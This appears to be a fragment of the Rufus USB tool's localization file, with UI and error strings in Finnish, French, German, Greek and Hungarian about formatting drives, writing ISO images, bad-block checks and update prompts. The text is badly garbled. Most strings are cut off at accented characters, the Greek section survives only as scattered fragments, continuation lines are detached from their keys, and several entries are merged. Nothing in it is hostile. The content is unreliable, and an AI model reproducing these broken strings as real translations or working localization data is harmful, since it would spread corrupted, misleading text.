t MSG_223 "NTFS-korjaus (Checkdisk)..."
t MSG_224 "Selvitet
t MSG_225 "Pyydet
t MSG_226 "Analysoidaan l
t MSG_227 "Suljetaan olemassaolevaa asemaa..."
t MSG_228 "Kirjoitetaan master boot record..."
t MSG_229 "Kirjoitetaan partition boot record..."
t MSG_230 "Kopioidaan DOS-tiedostoja..."
t MSG_231 "Kopioidaan ISO-tiedostoja..."
t MSG_232 "Win7 EFI -k
t MSG_233 "Viimeistell
t MSG_234 "Asennetaan Syslinux %s..."
t MSG_235 "Lohkot: %s %d/%d - %0.2f%% (%d/%d/%d virhett
t MSG_236 "Lohkot: Testataan satunnaisella kuviolla"
t MSG_237 "Lohkot: Testataan kuviolla 0xX"
t MSG_238 "Osioidaan (%s)..."
t MSG_239 "Poistetaan osioita..."
t MSG_240 "Ladataan %s: Yhdistet
t MSG_241 "Ladataan: %0.1f%%"
t MSG_242 "Tiedoston lataaminen ep
t MSG_243 "Tarkistetaan Rufus-p
t MSG_244 "P
t MSG_245 "P
t MSG_246 "Uusi Rufus-versio on saatavilla!"
t MSG_247 "Ei l
t MSG_248 "Rekisteriavaimet poistettu onnistuneesti"
t MSG_249 "Rekisteriavainten poistaminen ep
t MSG_250 "%s p
t MSG_251 "%s pois p
t MSG_252 "Kokotarkistukset"
t MSG_253 "Kiintolevyjen havaitseminen"
t MSG_254 "Laajan FAT32-alustuksen pakotus"
t MSG_255 "NoDriveTypeAutorun poistetaan suljettaessa"
t MSG_256 "Valeasemien havaitseminen"
t MSG_257 "Joliet-tuki"
t MSG_258 "Rock Ridge -tuki"
t MSG_259 "P
t MSG_260 "NTFS-pakkaaminen"
t MSG_261 "Kirjoitetaan levykuvaa: %0.1f%% valmiina"
t MSG_262 "ISO-tuki"
t MSG_263 "OIKEIDEN tilayksik
t MSG_264 "Poistetaan kansiota '%s'"
t MSG_265 "VMWare-levyn havaitseminen"
t MSG_266 "Kaksois-UEFI/BIOS -tila"
t MSG_267 "Asetetaan Windows-levykuvaa: %0.1f%% suoritettu"
t MSG_268 "Asetetaan Windows-levykuvaa..."
t MSG_269 "Aikaleimojen k
t MSG_270 "USB-virheenkorjaus"
t MSG_271 "Lasketaan levykuvan tarkistussummia: %0.1f%% suoritettu"
t MSG_272 "Laske valitun levykuvan MD5-, SHA1- ja SHA256-tarkistussummat."
t MSG_273 "Vaihda sovelluksen kielt
t MSG_274 "ISOHybrid-levykuva havaittu"
t MSG_275 "Valitsemasi levykuva on muotoa 'ISOHybrid'. T
"kirjoittaa joko %sna (tiedostojen kopiointi) tai %sna (levykuva).\n"
n '%s' -tilaa, jotta sinulla pysyy t
kirjoittaa levykuvaa uudelleen '%s' -tilassa.\n\n"
t MSG_276 "Kirjoita %sna (Suositellaan)"
t MSG_277 "Kirjoita %sna"
t MSG_278 "K
t MSG_279 "Ei-boottaava"
t MSG_280 "Levykuvan valinta"
t MSG_281 "(Valitse levykuva)"
t MSG_282 "USB-aseman eksklusiivinen k
t MSG_283 "Ep
t MSG_284 "Ladatusta tiedostosta puuttuu digitaalinen allekirjoitus."
t MSG_285 "Ladatun tiedoston on allekirjoittanut '%s'.\nEmme tunnista kyseist
m IDC_NBPASSES 5,0
s IDC_NBPASSES -2,0
t IDC_WINDOWS_INSTALL "Installation standard de Windows"
t IDC_WEBSITE "Cliquez ici pour aller sur le site de Rufus"
t MSG_001 "Autre instance d
t MSG_002 "Une autre instance de Rufus est en cours d'ex
t MSG_003 "ATTENTION : TOUTES LES DONNEES DU VOLUME '%s' VONT ETRE EFFACEES.\n"
t MSG_004 "Mises
t MSG_005 "Voulez-vous autoriser Rufus
t MSG_006 "Fermer"
t MSG_007 "Annuler"
t MSG_008 "Oui"
t MSG_009 "Non"
t MSG_010 "Blocs d
t MSG_011 "V
te : %d bloc(s) d
" %d erreur(s) de lecture\n %d erreur(s) d'
criture\n %d erreur(s) de corruption\n"
t MSG_012 "%s\nUn rapport plus d
:\n%s"
t MSG_013 "Jamais"
t MSG_014 "Quotidienne"
t MSG_015 "Hebdomadaire"
t MSG_016 "Mensuelle"
t MSG_017 "Personnalis
t MSG_018 "Votre version : %d.%d (Build %d)"
t MSG_019 "Derni
re version : %d.%d (Build %d)"
t MSG_020 "octets"
t MSG_021 "Ko"
t MSG_022 "Mo"
t MSG_023 "Go"
t MSG_024 "To"
t MSG_025 "Po"
t MSG_026 "octets"
t MSG_027 "kilo-octets"
t MSG_028 "m
t MSG_029 "D
t MSG_030 "%s (D
t MSG_031 "Type de partition %s pour BIOS ou %s"
t MSG_032 "Type de partition %s pour BIOS"
t MSG_033 "Type de partition %s pour UEFI"
t MSG_034 "%d passe"
t MSG_035 "%d passes"
t MSG_036 "Image ISO"
t MSG_038 "Annuler"
t MSG_039 "Lancer"
t MSG_040 "T
t MSG_041 "Op
t MSG_042 "Erreur"
t MSG_043 "Erreur : %s"
t MSG_044 "T
t MSG_045 "P
t MSG_046 "%s (Disque %d) [%s]"
t MSG_047 "Plusieurs partitions"
t MSG_048 "Rufus - Flush de la m
t MSG_049 "Rufus - Annulation"
t MSG_050 "Op
t MSG_051 "Erreur ind
t MSG_052 "Ce syst
t MSG_053 "L'acc
t MSG_054 "Le p
t MSG_055 "Le p
t MSG_056 "Le formatage rapide n'est pas disponible pour ce p
t MSG_057 "Le nom de volume est invalide."
t MSG_058 "Le handle de p
t MSG_059 "Cette taille de cluster n'est pas applicable ici."
t MSG_060 "La taille du volume est invalide."
t MSG_061 "Veuillez ins
t MSG_062 "Commande non support
t MSG_063 "Erreur d'allocation m
t MSG_064 "Erreur de lecture."
t MSG_065 "Erreur d'
t MSG_066 "L'installation a
t MSG_067 "Impossible d'acc
t MSG_068 "Erreur de partitionnement."
t MSG_069 "Impossible de copier les fichiers sur le p
t MSG_070 "Op
t MSG_071 "Impossible de cr
t MSG_072 "La v
t MSG_073 "Echec d'analyse de l'image ISO."
t MSG_074 "Echec d'extraction de l'image ISO."
t MSG_075 "Echec lors du remontage du volume."
t MSG_076 "Echec de modification des fichiers de d
t MSG_077 "Echec d'assignation d'une lettre de volume."
t MSG_078 "Impossible de monter le volume GUID."
t MSG_079 "Le p
t MSG_080 "Rufus a d
que Windows est en train de finir de vider la m
"prendre beaucoup de temps.\n\nNous recommandons d'attendre que Windows compl
t MSG_081 "Image non support
t MSG_082 "Cette image n'est pas d
t MSG_083 "Remplacer %s?"
t MSG_084 "Cette image ISO utilise une version obsol
te du fichier '%s'.\n"
"Si un '%s' existe
t MSG_085 "T
chargement de %s"
t MSG_086 "Aucune image s
t MSG_087 "Veuillez cliquer sur le bouton avec un disque pour s
t MSG_088 "Image trop large"
t MSG_089 "L'image est trop large pour
t MSG_090 "Image ISO on support
t MSG_091 "Quand UEFI est s
es sur EFI sont support
t MSG_092 "Syst
me de fichiers non support
t MSG_093 "IMPORTANT : CE P
es ou bien visibles depuis Windows. Si vous d
t MSG_094 "Partitions multiples d
t MSG_095 "Image DD"
t MSG_096 "Le syst
t MSG_097 "'%s' peut seulement
t MSG_098 "IMPORTANT: Vous essayez d'installer 'Windows To Go', mais votre p
"l'attribut 'FIXE'. A cause de cela, Windows va tr
t MSG_099 "Limitation du syst
t MSG_100 "Cette image ISO contient un fichier de plus de 4 Go, ce qui est plus que la taille maximum "
"support
t MSG_101 "Support pour archives WIM non disponible"
t MSG_102 "Votre plateforme ne peut pas extraire les fichiers depuis les archives WIM. L'extraction de donn
marrable avec EFI pour Windows 7/8 ou Windows Vista. Vous pouvez adresser "
t MSG_103 "T
charger %s?"
t MSG_104 "%s ou plus r
cent requiert l'installation d'un fichier '%s'.\n"
base de %s, "
"'%s' existe
t MSG_105 "Annuler peut laisser le p
t MSG_106 "S
t MSG_107 "Tous les fichiers"
t MSG_108 "Log Rufus"
t MSG_109 "0xX (disque %d)"
t MSG_110 "MS-DOS ne peut pas
t MSG_111 "Taille de clusters incompatible"
t MSG_112 "Le formatage d'un volume UDF de grande taille peut prendre beaucoup de temps. Aux vitesses USB 2.0, "
e est %d :d, pendant laquelle la barre de progr
t MSG_113 "Volume UDF de grand taille"
t MSG_114 "Cette image utilise Syslinux %s%s mais l'application inclus seulement les fichiers d'installation pour Syslinux %s%s.\n\n"
mentaires ('ldlinux.sys' et 'ldlinux.bss') doiventt MSG_115 "T
t MSG_116 "Cette image utilise Grub %s mais l'application inclus seulement les fichiers d'installation pour Grub %s.\n\n"
charger une version du fichier d'installation de Grub ('core.img') qui "t MSG_150 "Le choix le plus s
t MSG_151 "Choisissez cette option si vous voulez installer un Syst
dia depuis Windows XP"
t MSG_152 "Option pr
dia depuis Windows XP n
t MSG_153 "Motif de test : 0xX"
t MSG_154 "Motif de test : 0xX, 0xX"
t MSG_155 "Motif de test : 0xX, 0xX, 0xX"
t MSG_156 "Motif de test : 0xX, 0xX, 0xX, 0xX"
t MSG_158 "Taille minimum qu
t MSG_159 "Utilisez ce champ pour mettre
t MSG_160 "Affiche/Cache les options avanc
t MSG_161 "D
t MSG_162 "D
t MSG_163 "Cochez cette case pour rendre le p
t MSG_164 "M
t MSG_165 "Cliquez ici pour s
t MSG_166 "Cochez cette case pour permettre l
era un fichier autorun.inf)"
t MSG_167 "Installe un MBR permettant la s
t MSG_168 "Camoufle le premier disque USB d
"Changez cette option si vous installez Windows XP avec plus d
t MSG_169 "Cr
t MSG_170 "Liste les disques durs externes USB. UTILISEZ A VOS PROPRES RISQUES !!! "
t MSG_171 "Lance le formatage. Cette op
t MSG_172 "Licence et remerciements"
t MSG_173 "Cliquez pour s
t MSG_176 "Traduction Fran
aise : Pete Batard <mailto:pete@akeo.ie>"
t MSG_177 "Soumettre un bug ou une demande d'am
t MSG_178 "Copyrights suppl
t MSG_179 "Politique de mises
t MSG_180 "Si vous autorisez ce programme
t MSG_181 "L
t MSG_182 "La version de l
t MSG_183 "Votre adresse IP"
t MSG_184 "Afin de g
t MSG_185 "Processus de mise
t MSG_186 "Aucun service ou t
t MSG_187 "Image invalide pour l'option de d
t MSG_188 "L'image choisie ne correspond pas
t MSG_189 "Cette image ISO n'est pas compatible avec le syst
t MSG_190 "P
t MSG_191 "Phase d'
t MSG_192 "Phase de lecture"
t MSG_193 "T
pour %s "
t MSG_194 "Impossible de t
charger %s"
t MSG_195 "La version par d
faut du fichier %s sera utilis
t MSG_196 "IMPORTANT: CE P
des disques utilisent une taille de secteur de 512 octets, mais celui ci utilise une taille de %d octets. "
t MSG_197 "Taille de secteur non standard d
t MSG_198 "'Windows To Go' peut seulement
t MSG_199 "Choisissez cette option si vous comptez installer Windows, sur un autre disque, "
t MSG_200 "Choisissez cette option si vous voulez fair tourner Windows directement depuis ce p
t MSG_201 "Annulation - Veuillez patienter..."
t MSG_202 "Analyse de l'image..."
t MSG_203 "Echec d'analyse de l'image"
t MSG_204 "Fichier %s obsol
t MSG_205 "Image utilis
e : %s"
t MSG_206 "Fichier %s manquant"
t MSG_207 "Nouveau volume"
t MSG_208 "%d p
t MSG_209 "%d p
t MSG_210 "PR
t MSG_211 "Op
t MSG_212 "ECHEC"
t MSG_213 "Lancement de la nouvelle application..."
t MSG_214 "Echec de lancement de l'application"
t MSG_215 "%s ouvert"
t MSG_216 "%s sauvegard
t MSG_217 "Formatage : %0.1f%% compl
t MSG_218 "Syst
che %d/%d compl
t MSG_219 "Finalisation NTFS: %d%% compl
t MSG_220 "Formatage (%s) - dur
e %d :d..."
t MSG_221 "Ecriture du label (peut prendre du temps)..."
t MSG_222 "Formatage (%s)..."
t MSG_223 "Finalisation NTFS (Checkdisk)..."
t MSG_224 "Effacement des structures MBR/PBR/GPT..."
t MSG_225 "Requ
t MSG_226 "Analyse des structures de boot existantes..."
t MSG_227 "Fermeture des volumes existants..."
t MSG_228 "Ecriture du MBR..."
t MSG_229 "Ecriture du PBR..."
t MSG_230 "Copie des fichiers DOS..."
t MSG_231 "Copie des fichiers ISO..."
t MSG_232 "Ecriture boot Win7 EFI (peut prendre du temps)..."
t MSG_233 "Finalisation, veuillez patienter..."
t MSG_234 "Installation de Syslinux %s..."
t MSG_235 "Test de d
fauts : %s %d/%d - %0.2f%% (%d/%d/%d erreurs)"
t MSG_236 "Test de d
t MSG_237 "Test de d
fauts : Test avec motif 0xX"
t MSG_238 "Partitionage (%s)..."
t MSG_239 "Effacement des partitions..."
t MSG_240 "T
chargement de %s : Connexion..."
t MSG_241 "T
t MSG_242 "Echec de t
t MSG_243 "Recherche des mises
t MSG_244 "Mises
t MSG_245 "Mises
t MSG_246 "Une nouvelle version de Rufus est disponible !"
t MSG_247 "Pas de nouvelle mise
t MSG_248 "Cl
t MSG_249 "Echec de suppression des cl
t MSG_250 "%s activ
t MSG_251 "%s d
t MSG_252 "Tests de d
passement de taille"
t MSG_253 "D
t MSG_254 "Force large FAT32'"
t MSG_255 "NoDriveTypeAutorun sera effac
t MSG_256 "Test de contrefa
t MSG_257 "Support Joliet"
t MSG_258 "Support Rock Ridge"
t MSG_259 "For
t MSG_260 "Compression NTFS"
t MSG_261 "Ecriture d'image : %0.1f%% compl
t MSG_262 "Support ISO"
t MSG_263 "Affichage de tailles avec de VRAIES unit
t MSG_264 "Suppression du dossier '%s'"
t MSG_265 "D
t MSG_266 "Mode dual UEFI/BIOS"
t MSG_267 "Application de l'image Windows: %0.1f%% compl
t MSG_268 "Application de l'image Windows..."
t MSG_269 "Pr
t MSG_270 "Debug USB"
t MSG_271 "Calculation des checksums de l'image: %0.1f%% compl
t MSG_272 "Calcule les checksums MD5, SHA1 et SHA256 pour l'image s
t MSG_273 "Change la langue de l'application"
t MSG_274 "Image ISOHybrid d
t MSG_275 "L'image que vous avez s
crite soit en mode %s (copie de fichiers) ou en mode %s (image disque).\n"
utiliser le mode %s, de mani
crire cette image, en mode %s.\n\n"
t MSG_276 "Ecrire en mode %s (Recommand
t MSG_277 "Ecrire en mode %s"
t MSG_278 "Type de d
t MSG_279 "Non d
t MSG_280 "S
t MSG_281 "(Veuillez s
t MSG_282 "Verrouillage exclusif de p
t MSG_283 "Signature invalide"
t MSG_284 "L'ex
t MSG_285 "L'ex
par '%s'.\nCe n
tes-vous certain de vouloir lancer ce fichier?"
t IDC_WINDOWS_INSTALL "Standard Windows-Installation"
t IDC_WEBSITE "Klicken Sie hier, um zur Webseite zu gelangen"
t MSG_001 "Rufus ist bereits gestartet"
t MSG_002 "Rufus ist bereits gestartet.\n"
t MSG_003 "WARNUNG: ALLE DATEN AUF LAUFWERK '%s' WERDEN GEL
t MSG_004 "Rufus Aktualisierungseinstellungen"
t MSG_005 "Wollen Sie, dass Rufus auf neuen Versionen pr
t MSG_006 "Schlie
t MSG_007 "Abbruch"
t MSG_009 "Nein"
t MSG_010 "Fehlerhafte Bl
t MSG_011 "Pr
fung abgeschlossen: %d fehlerhafte Bl
" %d Lesefehler\n %d Schreibfehler\n %d Defekt(e)\n"
t MSG_012 "%s\nEin detaillierter Bericht ist hier zu finden:\n%s"
t MSG_013 "Deaktiviert"
t MSG_014 "T
t MSG_015 "W
t MSG_016 "Monatlich"
t MSG_017 "Speziell"
t MSG_018 "Ihre Version: %d.%d (Build %d)"
t MSG_019 "Aktuelle Version: %d.%d (Build %d)"
t MSG_020 "Byte"
t MSG_026 "Byte"
t MSG_027 "Kilobyte"
t MSG_028 "Megabyte"
t MSG_029 "Standard"
t MSG_030 "%s (Standard)"
t MSG_031 "%s Partitionierungsschema f
r BIOS oder %s"
t MSG_032 "%s Partitionierungsschema f
t MSG_033 "%s Partitionierungsschema f
t MSG_034 "%d Durchgang"
t MSG_035 "%d Durchg
t MSG_036 "ISO-Abbild"
t MSG_037 "Anwendung"
t MSG_038 "Abbruch"
t MSG_041 "Operation vom Benutzer abgebrochen"
t MSG_042 "Fehler"
t MSG_043 "Fehler: %s"
t MSG_044 "Dateidownload"
t MSG_045 "USB Massenspeicherger
t MSG_047 "Mehrere Partitionen"
t MSG_048 "Rufus - Leere Puffer"
t MSG_049 "Rufus - Abbrechen"
t MSG_050 "Erfolg."
t MSG_051 "Unbekannter Fehler w
t MSG_052 "Das gew
t MSG_053 "Der Zugriff auf das Laufwerk wurde verweigert."
t MSG_054 "Der Datentr
t MSG_055 "Das Laufwerk wird von einem anderen Prozess verwendet. "
t MSG_056 "Die Schnellformatierung ist f
t MSG_057 "Die Laufwerksbezeichnung ist ung
t MSG_058 "Das Ger
t MSG_059 "Die ausgew
t MSG_060 "Die Volumen-Gr
t MSG_061 "Bitte legen Sie einen Wechseldatentr
t MSG_062 "Ein nicht unterst
t MSG_063 "Fehler bei der Speicherzuweisung."
t MSG_064 "Lesefehler."
t MSG_065 "Schreibfehler."
t MSG_066 "Installationsfehler"
t MSG_067 "Datentr
t MSG_068 "Fehler beim Partitionieren des Laufwerks."
t MSG_069 "Dateien konnten nicht auf das Ziellaufwerk kopiert werden."
t MSG_070 "Vom Benutzer abgebrochen."
t MSG_071 "Thread konnte nicht gestartet werden."
t MSG_072 "Pr
t MSG_073 "Fehler beim analysieren der ISO-Abbild-Datei."
t MSG_074 "Fehler beim entpacken der ISO-Abbild-Datei."
t MSG_075 "Volume konnte nicht neu angelegt werden."
t MSG_076 "Startf
t MSG_077 "Laufwerksbuchstabe konnte nicht zugewiesen werden."
t MSG_078 "GUID-Laufwerk konnte nicht angelegt werden."
t MSG_079 "Das Laufwerk ist nicht bereit."
t MSG_080 "Rufus hat erkannt, dass Inhalte des Datenpuffer auf das USB-Laufwerk geschrieben werden.\n\n"
e Dateien.\n\nWir empfehlen, dass Sie Windows den Vorgang beenden lassen, um eine Problem zu vermeiden. "
t MSG_081 "Nicht unterst
t MSG_082 "Dieses Abbild ist nicht startf
t MSG_083 "Ersetze %s?"
t MSG_084 "Diese ISO-Abbild-Datei verwendet eine veraltete Version von '%s'.\n"
"'%s' bereits vorhanden ist, wird sie automatisch wiederverwendet."
t MSG_085 "Download %s"
t MSG_086 "Keine Abbild-Datei gew
t MSG_087 "Bitte klicken das auf das Disk-Symbol um eine startf
t MSG_088 "Abbild ist zu gro
t MSG_089 "Dieses Abbild ist zu gro
t MSG_090 "ISO-Abbild nicht unterst
t MSG_091 "Wenn UEFI als Typ des Zielsystems gew
t MSG_092 "Nicht unterst
t MSG_093 "ACHTUNG! DIESES LAUFWERK VERF
glicherweise Partitionen, die unter Windows nicht sicht- bzw. nutzbar sind."
t MSG_094 "Mehrere Partitionen erkannt"
t MSG_095 "DD Abbild"
t MSG_096 "Das aktuell gew
t MSG_097 "F
r '%s' muss NTFS als Dateisystem verwendet werden."
t MSG_098 "WICHTIG: Sie versuchen 'Windows To Go' zu installieren, aber das Ziel-Laufwerk hat nicht "
"das 'FIXED'-Attribut. Deswegen wird Windows beim Systemstart h
t MSG_099 "Dateisystembeschr
t MSG_100 "Diese ISO-Abbild-Datei enth
t MSG_101 "Fehlende WIM-Unterst
t MSG_102 "Ihre Plattform kann keine Dateien aus WIM-Containern extrahieren. WIM-Extraktion "
hige Windows 7 und Windows Vista USB-Laufwerke zu erzeugen. Sie k
t MSG_104 "%s oder neuer erfordert, dass eine '%s' installiert ist.\n"
er als 100 kB ist, und in %s ISO-Abbildern immer enthalten ist, "
t MSG_105 "Durch einen Abbruch wird das Ger
t MSG_106 "Ordner w
t MSG_107 "Alle Dateien"
t MSG_108 "Rufus Log"
t MSG_110 "MS-DOS kann nicht von einem Laufwerk starten, das 64 Kilobyte gro
t MSG_111 "Inkompatible Zuordnungseinheitengr
t MSG_112 "Gro
t MSG_113 "Gro
t MSG_114 "Dieses Abbild benutzt Syslinux %s%s, aber diese Anwendung verf
r Syslinux %s%s.\n\n"
ssen vom Internet heruntergeladen werden ('ldlinux.sys' and 'ldlinux.bss'):\n"t MSG_115 "Download erforderlich"
t MSG_116 "Dieses Abbild verwendet Grub %s, aber die Anwendung beinhaltet nur Installations-Dateien f
"Grub %s.\n\nWeil verschiedene Versionen von Grub nicht untereinander kompatibel sind, und es nicht "
"('core.img') von Grub zu finden, die zur Version im Abbild passt:\n"t MSG_150 "Normalerweise die beste Wahl. Wenn Sie einen UEFI-Computer haben und das Betriebssystem "
t MSG_151 "Verwenden Sie diese Einstellung, um das Betriebssystem im EFI-Modus zu installieren und "
"USB-Zugriff unter Windows XP zu haben"
t MSG_152 "Die bevorzugte Einstellung, um das Betriebssystem im EFI-Modus zu installieren und "
"wenn kein USB-Zugriff unter Windows XP erforderlich ist"
t MSG_153 "Pr
fmuster: 0xX"
t MSG_154 "Pr
fmuster: 0xX, 0xX"
t MSG_155 "Pr
fmuster: 0xX, 0xX, 0xX"
t MSG_156 "Pr
fmuster: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Zieldateisystem ausw
t MSG_158 "Kleinste Gr
t MSG_159 "Geben Sie hier die Datentr
t MSG_160 "Erweiterte Optionen ein- bzw. ausblenden"
t MSG_161 "Das Laufwerk mittels eines Musters auf fehlerhafte Bl
t MSG_162 "Wenn nicht aktiviert, wird die \"langsame\" Formatierung verwendet"
t MSG_163 "Aktivieren, um das Laufwerk startf
t MSG_164 "Methode, um das Laufwerk startf
t MSG_165 "W
t MSG_166 "W
tesymbol zu erzeugen (Datei autorun.inf)"
t MSG_167 "Erzeugt einen MBR, der eine Bootmen
t MSG_168 "Das erste startf
"Das sollte nur notwendig sein, wenn Sie Windows XP instllieren und mehr als ein Festplatte haben."
t MSG_169 "Eine extra Partition erzeugen und die Partitionsgrenzen ausrichten.\n"
t MSG_170 "Erkennung von USB-Festplatten Geh
t MSG_171 "Formatierung starten.\nAlle Daten auf dem Ziellaufwerk werden GEL
t MSG_172 "Lizenzinformationen und Mitwirkende"
t MSG_173 "Klicken Sie, um auszuw
t MSG_174 "Rufus - Das zuverl
t MSG_176 "Deutsche
t MSG_177 "Fehler und Anforderungen an:"
t MSG_178 "Weitere Copyrights:"
t MSG_179 "Aktualisierungseinstellungen:"
t MSG_180 "Wenn Sie die Pr
t MSG_181 "Ihre Betriebssystem-Architektur und -Version"
t MSG_182 "Die Version der Anwendung, die Sie einsetzen"
t MSG_183 "Ihre IP-Adresse"
t MSG_184 "Zum privaten Statistikzwecken speichern wir diese Informationen "
t MSG_185 "Update-Vorgang:"
t MSG_186 "Rufus verwendet keine Hintergrundprozesse, deshalb wird nur auf Updates gepr
t MSG_187 "Abbild-Datei f
hlte Boot-Option nicht passend"
t MSG_188 "Die derzeitige Abbild-Datei passt nicht zur gew
t MSG_189 "Dieses ISO-Abbild ist mit dem gew
t MSG_190 "inkompatibles Laufwerk erkannt"
t MSG_191 "Schreiben durchgef
t MSG_192 "Lesen durchgef
t MSG_193 "%s heruntergeladen"
t MSG_194 "%s konnte nicht heruntergeladen werden"
t MSG_195 "Verwende embedded Version der %s Datei(en)"
t MSG_196 "WICHTIG: DIESES LAUFWERK HAT EINE NICHT STANDARDKONFORME SEKTORGR
e, aber dieses Laufwerk nutzt %d-Byte. "
t MSG_197 "Nicht standardkonforme Sektorgr
t MSG_198 "'Windows To Go' kann nur auf ein GPT-partitioniertes Laufwerk installiert werden, wenn das FIXED-Attribut gesetzt ist. Das aktuelle Laufwerk hat diese nicht."
t MSG_199 "W
hlen Sie dies, wenn Sie planen Windows auf eines anderes Laufwerk zu installieren."
t MSG_200 "W
hlen Sie dies, wenn Sie Windows direkt vom gew
t MSG_201 "Abbrechen - Bitte warten..."
t MSG_202 "Lese Abbild-Datei..."
t MSG_203 "Fehler beim Lesen der Abbild-Datei"
ssige %s erkannt"
t MSG_205 "Verwende Abbild: %s"
t MSG_206 "Fehlende %s Datei"
t MSG_207 "Neues Volume"
t MSG_208 "%d Laufwerk gefunden"
t MSG_209 "%d Laufwerke gefunden"
t MSG_210 "FERTIG"
t MSG_211 "Abgebrochen"
t MSG_212 "FEHLGESCHLAGEN"
t MSG_213 "Starte Anwendung neu..."
t MSG_214 "Fehler beim Anwendungsneustart"
t MSG_215 "Ge
ffnet %s"
t MSG_216 "Gespeichert %s"
t MSG_217 "Formatieren: %0.1f%% erledigt"
t MSG_218 "Dateisystem erzeugen: Aufgabe %d/%d abgeschlossen"
t MSG_219 "NTFS Fixup: %d%% erledigt"
t MSG_220 "Formatiere (%s) - gesch
tzte Dauer %d:d..."
t MSG_221 "Setzte Bezeichnung (kann etwas dauern)..."
t MSG_222 "Formatiere (%s)..."
t MSG_225 "Laufwerkszugriff angefordert..."
t MSG_226 "Vorhandene Boot-Datens
t MSG_227 "Vorhandenes Volume schlie
t MSG_228 "Master Boot Record schreiben..."
t MSG_229 "Schreibe Partitions Boot Record.."
t MSG_230 "Kopiere DOS-Dateien..."
t MSG_231 "Kopiere ISO-Dateien..."
t MSG_232 "Win7 EFI Boot setup (kann etwas dauern)..."
t MSG_233 "Abschlie
t MSG_234 "Installiere Syslinux %s..."
t MSG_235 "Fehlerhafte Bl
cke: %s %d/%d - %0.2f%% (%d/%d/%d Fehler)"
t MSG_236 "Fehlerhafte Bl
t MSG_237 "Fehlerhafte Bl
fe mit Muster 0xX"
t MSG_238 "Partitioniere (%s)..."
t MSG_239 "L
t MSG_240 "Download %s: Verbinde..."
t MSG_241 "Download: %0.1f%%"
t MSG_242 "Fehler beim Dateidownload."
t MSG_243 "Pr
t MSG_244 "Update: Keine Verbindung zum Internet"
t MSG_245 "Update: Versionsinformationen k
t MSG_246 "Eine neue Version von Rufus ist verf
t MSG_247 "Keine neue Version von Rufus wurde gefunden"
t MSG_248 "Anwendungseinst. in der Registrierdatenbank gel
t MSG_249 "Fehler beim L
t MSG_250 "%s aktiviert"
t MSG_251 "%s deaktiviert"
t MSG_252 "Gr
t MSG_253 "Festplattenerkennung"
t MSG_254 "Gro
t MSG_255 "NoDriveTypeAutorun wird beim Beenden gel
t MSG_256 "Gef
t MSG_257 "Joliet-Unterst
t MSG_258 "Rock Ridge-Unterst
t MSG_259 "Update erzwingen"
t MSG_260 "NTFS-Komprimierung"
t MSG_261 "Schreibe Abbild-Datei: %0.1f%% fertiggestellt"
t MSG_262 "ISO-Unterst
t MSG_263 "Verwenden Sie korrekten Gr
t MSG_264 "L
sche Ordner '%s'"
t MSG_265 "VMWare-Laufwerks-Erkennung"
t MSG_266 "Dual UEFI/BIOS-Modus"
t MSG_267 "Spiele Windows-Abbild auf: %0.1f%% fertiggestellt"
t MSG_268 "Windows-Abbild aufspielen..."
t MSG_269 "Zeitstempel bewahren"
t MSG_270 "USB Testmodus"
t MSG_271 "Berechne Abbild-Pr
t MSG_272 "Berechne MD5-, SHA1- und SHA256-Pr
t MSG_273 "Sprache der Anwendung
t MSG_274 "Hybrides ISO-Abbild erkannt"
t MSG_275 "Das gew
"%s (Dateikopier-) oder %s (Abbild-) Modus kopiert werden.\n"
"Rufus empfiehlt den %s Modus, denn dann haben Sie nach dem Schreiben vollen Zugriff auf das Laufwerk.\n"
nnen Sie den %s Modus versuchen.\n\n"
t MSG_276 "Im %s Modus schreiben (empfohlen)"
t MSG_277 "Im %s Modus schreiben"
t MSG_278 "Startart"
t MSG_279 "Nicht startf
t MSG_280 "Abbildauswahl"
t MSG_281 "(Bitte w
t MSG_282 "Exclusive Sperre f
t MSG_283 "Ung
t MSG_284 "Die heruntergeladene ausf
t MSG_285 "Die heruntergeladene ausf
hrbare Datei ist von '%s' signiert.\nDiese Signatur ist nicht akzeptiert und k
m IDC_NBPASSES 149,0
s IDC_NBPASSES 7,0
t IDC_WINDOWS_TO_GO "Windows To Go (USB
\n %d
t MSG_036 "
t MSG_048 "Rufus - Flushing
t MSG_095 "
t MSG_097 "
'Windows To Go',
'Windows To Go'
"Windows 7
Windows Vista
t MSG_104 "
t MSG_110 "
%d:d.
t MSG_113 "M
"Syslinux %s%s.\n\n
'ldlinux.bss'): \n"
"Grub %s.\n\n
Grub ('core.img')Windows XP."
:\\line Konstantinos Margaritis <mailto:kotsos.marga@gmail.com> \\line Nikolaos Margaritis <mailto:marga.nikos@gmail.com>"
%d-byte."
NTFS: %d%%
(%s) -
t MSG_250 "%s :
t MSG_251 "%s :
Windows: %0.1f%%
Windows..."
%s.\n
MSG_285 "
t IDC_WINDOWS_INSTALL "Alap Windows telep
t IDC_WEBSITE "Kattints ide a weboldalhoz"
t MSG_001 "M
t MSG_002 "Egy Rufus program m
t MSG_003 "FIGYELEM: MINDEN ADAT A(Z) '%s' NEV
t MSG_004 "Rufus friss
t MSG_005 "Enged
t MSG_006 "Bez
t MSG_007 "M
t MSG_008 "Igen"
t MSG_009 "Nem"
t MSG_010 "Hib
t MSG_011 "Ellen
s befejezve: %d hib
" %d olvas
si hiba,\n %d
si hiba\n %d
t MSG_012 "%s\nEgy r
t MSG_013 "Letiltva"
t MSG_014 "Naponta"
t MSG_015 "Hetente"
t MSG_016 "Havonta"
t MSG_017 "Egy
t MSG_018 "A Te verzi
d: %d.%d (%d)"
t MSG_019 "A legfrissebb verzi
: %d.%d (%d)"
t MSG_020 "b
t MSG_026 "b
t MSG_027 "kilob
t MSG_028 "megab
t MSG_029 "Alap
t MSG_030 "%s (Alap)"
t MSG_031 "%s part
ma BIOS-os vagy %s-s g
t MSG_032 "%s part
t MSG_033 "%s part
t MSG_034 "%d vizsg
t MSG_035 "%d vizsg
t MSG_036 "ISO k
t MSG_037 "Alkalmaz
t MSG_038 "Megszak
t MSG_039 "Ind
t MSG_040 "Let
t MSG_041 "A folyamat a felhaszn
t MSG_042 "Hiba"
t MSG_043 "Hiba: %s"
t MSG_044 "F
t MSG_045 "USB t
t MSG_046 "%s (Lemez: %d) [%s]"
t MSG_047 "T
t MSG_048 "Rufus - Pufferek ki
t MSG_049 "Rufus - Megszak
t MSG_050 "Siker!"
t MSG_051 "Ismeretlen hiba form
t MSG_052 "A kiv
t MSG_053 "Az eszk
t MSG_054 "Az adathordoz
t MSG_055 "Az eszk
t MSG_056 "A gyors form
t MSG_057 "A cimke
t MSG_058 "Az eszk
